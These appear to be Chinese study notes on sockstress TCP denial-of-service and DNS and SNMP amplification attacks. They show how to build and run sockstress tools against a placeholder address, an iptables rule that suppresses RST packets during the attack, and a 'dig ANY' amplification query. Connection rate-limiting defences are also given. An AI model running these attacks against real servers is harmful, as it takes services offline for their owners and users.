流量放大与sockstress攻防
sockstress攻击
原理简介
2008年由 Jack C. Louis 发现,针对TCP服务的拒绝服务攻击
消耗被攻击目标系统资源 与攻击目标建立大量socket链接
完成三次握手,最后的ACK包window大小为0 (客户端不接收数据) 攻击者资源消耗小(CPU、内存、带宽)
与SYN不同在于完成三次握手
攻击时在攻击端抓包可以看见win=0
异步攻击,单机可拒绝服务高配资源服务器
Window窗口实现的TCP流控
攻击方法
有的时候使用工具的时候提示权限不够
chmod 777给一个权限
Python攻击脚本
./sicjstress.py 1.1.1.1 21 100
C攻击脚本
-https://github.com/defuse/sockstress
-gcc -Wall -c sockstress.c
-gcc -pthread -o sockstress sockstress.o
两种攻击模式
-./sockstress 1.1.1.1:80 eth0
直接攻击端口
-./sockstress 1.1.1.1:80 eth0 -p payloads/http
攻击站点
-d是微秒内指定,默认为1000000 改成10之后并发带度更快。
在语句后面添加
防火墙规则
-iptables -A OUTPUT -p TCP --tcp-flags rst rst -d 1.1.1.1 -j DROP
防范
防御措施
直到今天sockstress攻击仍然是一种很有效的DoS攻击方式 由于建立完整的TCP三步握手,因此使用syn cookie防御无效 根本的防御方法是采用白名单(不实际)
折中对策:限制单位时间内每IP建的TCP连接数
封杀每30秒与80端口建立连接超过10个的IP地址
iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --set
iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --update --seconds 30 --hitcount 10 -j DROP
以上规则对DDoS攻击无效
DNS放大攻击
产生大流量的攻击方法
单机的带宽优势
巨大单机数量形成的流量汇聚
利用协议特性实现放大效果的流量
DNS协议放大效果
查询请求流量小,但响应流量可能非常巨大
kali中使用 digANYhp.com @202.106.0.20
(流量放大约8倍)
攻击原理 伪造源地址为被攻击目标地址,向递归域名查询服务器发起查询
DNS服务器成为流量放大和实施攻击者,大量DNS服务器实现DDoS
SNMP放大攻击
攻击原理 请求流量小,查询结果返回流量大 结合伪造源地址实现攻击